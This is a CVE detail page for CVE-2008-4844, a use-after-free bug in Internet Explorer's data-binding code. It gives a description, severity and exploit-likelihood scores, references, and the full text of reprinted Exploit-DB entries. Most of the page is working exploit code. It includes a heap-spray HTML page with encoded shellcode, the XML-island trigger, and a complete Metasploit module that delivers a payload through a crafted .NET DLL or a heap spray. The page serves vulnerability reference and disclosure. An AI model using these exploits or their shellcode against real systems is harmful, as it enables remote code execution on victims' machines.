CVE-2008-4844 : Detail

CVE-2008-4844

82.85%V4
Network
2008-12-11
14h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 7410

Publication date : 2008-12-09 23h00 +00:00
Author : muts
EDB Verified : Yes

<html> <script> // k`sOSe 12/10/2008 // Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386 // Heap spray address adjusted for Vista - muts / offensive-security.com // http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html // http://www.offensive-security.com/0day/iesploit-vista.rar // windows/exec - 141 bytes // http://www.metasploit.com // EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100"); var block = unescape("%u0c0c%u0c0c"); var nops = unescape("%u9090%u9090%u9090"); while (block.length < 81920) block += block; var memory = new Array(); var i=0; for (;i<1000;i++) memory[i] += (block + nops + shellcode); document.write("<iframe src=\"iframe.html\">"); </script> </html> <!-- iframe.html <XML ID=I> <X> <C> <![CDATA[ <image SRC=http://&#3084;&#3084;.xxxxx.org > ]]> </C> </X> </XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> <XML ID=I> </XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> </SPAN> </SPAN> --> # milw0rm.com [2008-12-10]
Exploit Database EDB-ID : 16583

Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms08_078_xml_corruption.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "7.0", # :ua_maxver => "7.0", # :javascript => true, # :os_name => OperatingSystems::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer Data Binding Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the data binding feature of Internet Explorer. In order to execute code reliably, this module uses the .NET DLL memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is used to create a fake vtable at a known location with all methods pointing to our payload. Since the .text segment of the .NET DLL is non-writable, a prefixed code stub is used to copy the payload into a new memory segment and continue execution from there. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm' ], 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2008-4844'], ['OSVDB', '50622'], ['BID', '32721'], ['MSB', 'MS08-078'], ['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'], ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, # Temporary stub virtualalloc() + memcpy() payload to RWX page 'PrependEncoder' => "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+ "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+ "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+ "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+ "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+ "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+ "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+ "\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+ "\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+ "\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { }], ], 'DisclosureDate' => 'Dec 07 2008', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) @state ||= {} ibase = 0x13370000 vaddr = ibase + 0x2065 uri,token = request.uri.split('?', 2) if(token) token,trash = token.split('=') end if !(token and @state[token]) print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...") token = rand_text_numeric(32) if ("/" == get_resource[-1,1]) dll_uri = get_resource[0, get_resource.length - 1] else dll_uri = get_resource end dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll" html = %Q|<html> <head> <script language="javascript"> function forward() { window.location = window.location + '?#{token}'; } function start() { setTimeout("forward()", 2000); } </script> </head> <body onload="start()"> <object classid="#{dll_uri}?#{token}#GenericControl"> <object> </body> </html> | @state[token] = :start # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) return end if (uri.match(/\.dll/i)) print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") return if ((p = regenerate_payload(cli)) == nil) # First entry points to the table of pointers vtable = [ vaddr + 4 ].pack("V") cbase = ibase + 0x2065 + (256 * 4) # Build a function table 255.times { vtable << [cbase].pack("V") } # Append the shellcode vtable << p.encoded send_response( cli, Msf::Util::EXE.to_dotnetmem(ibase, vtable), { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' } ) @state[token] = :dll return end print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...") html = "" # # .NET DLL MODE # if(@state[token] == :dll) addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" } data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0] bxml = Rex::Text.to_hex(%Q| <XML ID=I> <X> <C> <![CDATA[ <image SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X > ]]> </C> </X> </XML> #{data} <script> setTimeout('window.location.reload(true);', 250); </script> |, '%') var_unescape = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) html = %Q|<html> <head> <script> function #{var_start}() { var #{var_unescape} = unescape; document.write(#{var_unescape}('#{bxml}')); } </script> </head> <body onload="#{var_start}()"> </body> </html> | # # HEAP SPRAY MODE # else print_status("Heap spray mode") addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" } data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0] bxml = Rex::Text.to_hex(%Q| <XML ID=I> <X> <C> <![CDATA[ <image SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X > ]]> </C> </X> </XML> #{data} <script> setTimeout('window.location.reload(true);', 1000); </script> |, '%') var_memory = rand_text_alpha(rand(100) + 1) var_boom = rand_text_alpha(rand(100) + 1) var_body = rand_text_alpha(rand(100) + 1) var_unescape = rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_spray = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) rand_html = rand_text_english(rand(400) + 500) html = %Q|<html> <head> <script> var #{var_memory} = new Array(); var #{var_unescape} = unescape; function #{var_boom}() { document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}'); } function #{var_start}() { var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 ); for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; setTimeout('#{var_boom}()', 1000); } </script> </head> <body onload="#{var_start}()" id="#{var_body}"> #{rand_html} </body> </html> | end # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end end
Exploit Database EDB-ID : 7403

Publication date : 2008-12-09 23h00 +00:00
Author : Guido Landi
EDB Verified : Yes

// k`sOSe 12/10/2008 - tested on winxp sp3, explorer 7.0.5730.13 // windows/exec - 141 bytes // http://www.metasploit.com // EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/7403.zip (2008-iesploit.tar.gz) # milw0rm.com [2008-12-10]

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 5.01

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Internet_explorer >> Version 7

References

http://www.securitytracker.com/id?1021381
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/7583
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.us-cert.gov/cas/techalerts/TA08-352A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.kb.cert.org/vuls/id/493881
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securityfocus.com/bid/32721
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/7477
Tags : exploit, x_refsource_EXPLOIT-DB
http://marc.info/?l=bugtraq&m=123015308222620&w=2
Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=123015308222620&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.vupen.com/english/advisories/2008/3391
Tags : vdb-entry, x_refsource_VUPEN
https://www.exploit-db.com/exploits/7403
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.us-cert.gov/cas/techalerts/TA08-344A.html
Tags : third-party-advisory, x_refsource_CERT
https://www.exploit-db.com/exploits/7410
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/33089
Tags : third-party-advisory, x_refsource_SECUNIA